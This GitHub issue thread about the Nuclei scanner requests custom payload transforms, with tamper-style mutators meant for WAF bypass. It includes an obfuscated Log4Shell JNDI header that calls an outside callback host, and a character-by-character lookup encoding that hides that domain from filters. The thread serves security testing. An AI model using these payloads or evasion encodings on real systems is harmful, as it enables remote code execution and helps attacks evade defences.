nuclei icon indicating copy to clipboard operation
nuclei copied to clipboard

Custom expressions / tranforms on request values

Open mzpqnxow opened this issue 3 years ago • 3 comments

Please describe your feature request:

First, I am relatively new to Nuclei so please forgive me if there is some way to do this, aside from patching the source. I searched a bit to see if I could find a way but didn't see one

Currently nucleii supports expressions like base64, rand_text_alpha, etc. to dynamically modify payloads. What I am looking for is the ability to perform a custom expression, ideally in the language of my choice.

Describe the use case of this feature:

In my case, I am testing with a payload that includes an interact.sh domain for a custom interact.sh server. Because interact.sh domains themselves are very easy to fingerprint and therefore block, before I started testing nucleii as a tool, I was using my own tool to generate, send and correlate any responses- and in that tool, I was performing the dynamic obfuscation/encoding on the actual interact.sh domain before sending the request- this works fine but I would like to leverage all of the features of nucleei instead of using my own tool- since my tool has some clunk and cruft, and there are some really effective templates available for nucleei

Specific Use-Case: log4j encoding

The most recent and relevant example is the log4j issue. Consider the following template value for the Contact header:

Contact: ${${::-j}ndi:rmi://{{interactsh-url}}/}'

In this case, the obfuscation/encoding is hard-coded into the template- which is no problem because the un-obfuscated text is static. This provides some basic obfuscation on the ${jndi:rmi://} string, but the interact.sh domain still goes through "as-is". There's no way to encode it as far as I can tell, because it is dynamically generated by the template/request engine. The interact.sh domain is very easy to fingerprint with a WAF, which is why this is an issue. This is true even when using a custom interact.sh domain

Assume the {{interactsh-url}} value is 4d3js1nguo28r8164020c8dwn8eyyyquo.custom.domain. I would prefer to run this value through my own encoder (specific to log4j expression evaluation) and send something like the following instead of that interact.sh domain literal:

${tsj:-4}${k7h:-d}${XUu:-3}${ome:-j}${U0m:-s}${aLG:-1}${Jhy:-n}${Xbi:-g}${Gp0:-u}${Uv5:-o}${nTc:-2}${TA0:-8}${rMD:-r}${lGt:-8}${Ihm:-1}${qlP:-6}${DCO:-4}${pbV:-0}${T3p:-2}${pNn:-0}${K1a:-c}${Dee:-8}${QV4:-d}${g75:-w}${jGo:-n}${cCR:-8}${auU:-e}${m5p:-y}${XDQ:-y}${IJc:-y}${Bkf:-q}${Sw7:-u}${enD:-o}${C6R:-.}${tQ7:-c}${LV3:-u}${W74:-s}${aZB:-t}${bBE:-o}${G6o:-m}${pXA:-.}${Bre:-d}${YZp:-o}${jhA:-m}${NeG:-a}${igN:-i}${eGA:-n}

Is there some way I'm missing to do manipulation with this level of complexity on a dynamic varable/expression in the template?

Workarounds

  • I could disable the interact.sh support in Nuceli and do this all manually. This isn't a very good workaround because it completely removes the interact.sh support. I'm trying to move from my own solution that didn't use interact.sh to one that does, so this isn't helpful for me
  • (not really a workaround, but a short-term solution for me) Add a new expression in the nucleii codebase (e.g. log4j_encode()) and then rebuild nucleii and reference it from the template in the same way one would use base64(). It seems that this may be a bit heavy-handed as this sort of encoding is relatively unique to log4j and would therefore have minimal value to the nucleii project as a whole. If I do this I'd be happy to send a PR upstream, but I'm not sure it's worth the effort

Implementation Suggestions

The way sqlmap does this is via --tamper. When --tamper is set to a Python module implementing a simple interface, the final payload for each dynamically created request is first sent to that module (and then retrieved back from it) before transmission.

There are some drawbacks to that, specifically when it comes to performance, though depending on the details performance impact could be minimized. For example, the "tamper" module could be a long-running program in C, golang, rust, Python- whatever- with a tight select loop on a TCP port or some IPC mechanism (e.g. named pipe) where requests and responses could be rapidly passed back and forth without much overhead. Any performance issues would be the responsibility of the user that developed the "tamper" application/daemon

If performance isn't a concern, then it could of course operate in a mode where a new process is created, the payload is sent via stdin to the new process, modified, and then returned via stdout. This would be simplest for most users since they wouldn't need to worry about i/o multiplexing, sockets, etc. They could just use stdin/stdout

Maybe there is some way to do this, or a more clever workaround?

Thanks

mzpqnxow avatar Dec 25 '21 17:12 mzpqnxow

@mzpqnxow this is a very good idea. We were also thinking of providing some way of doing tampers on request to do things like waf-bypass etc. We can use this issue for discussing and formulating the idea.

Some idea of the way we were thinking of doing this -

rule:
  - On: User Agent
    mutators: uppercase | base64encode
  - On: Payloads
    mutators: hex
  - On: request
    mutators: x-forward-headers
  - On: QueryString
    mutator: basic-xss

cc @Mzack9999

Ice3man543 avatar Dec 30 '21 13:12 Ice3man543

@mzpqnxow this is a very good idea. We were also thinking of providing some way of doing tampers on request to do things like waf-bypass etc. We can use this issue for discussing and formulating the idea.

Some idea of the way we were thinking of doing this -

Are you thinking of providing a way for the user to do fully arbitrary transforms? Or are you just thinking of expanding the various built-in functionality? I realize probably 95% of users will be happy to defer to the nuclei dev team/community on how to encode stuff, though there are always a few that will need to do something somewhat specific (and/or are unable to contribute whatever they're using back to the project, for whatever reason)

Basically I'm asking for this specific example (log4j) would it be:

  - On: QueryString
    mutator: log4j

Or:

  - On: QueryString
    mutator: custom_user_thingie

(where custom_user_thingie would be something that exists in some way outside of nuclei)

Or maybe this is part of what's open for discussion?

mzpqnxow avatar Jan 04 '22 19:01 mzpqnxow

Any planning on this, or is it still just a long-term /nebulous thing? Just checking or for the sake of keeping the issue open and not completely stale

(or closing it would be fine too)

mzpqnxow avatar Sep 11 '22 15:09 mzpqnxow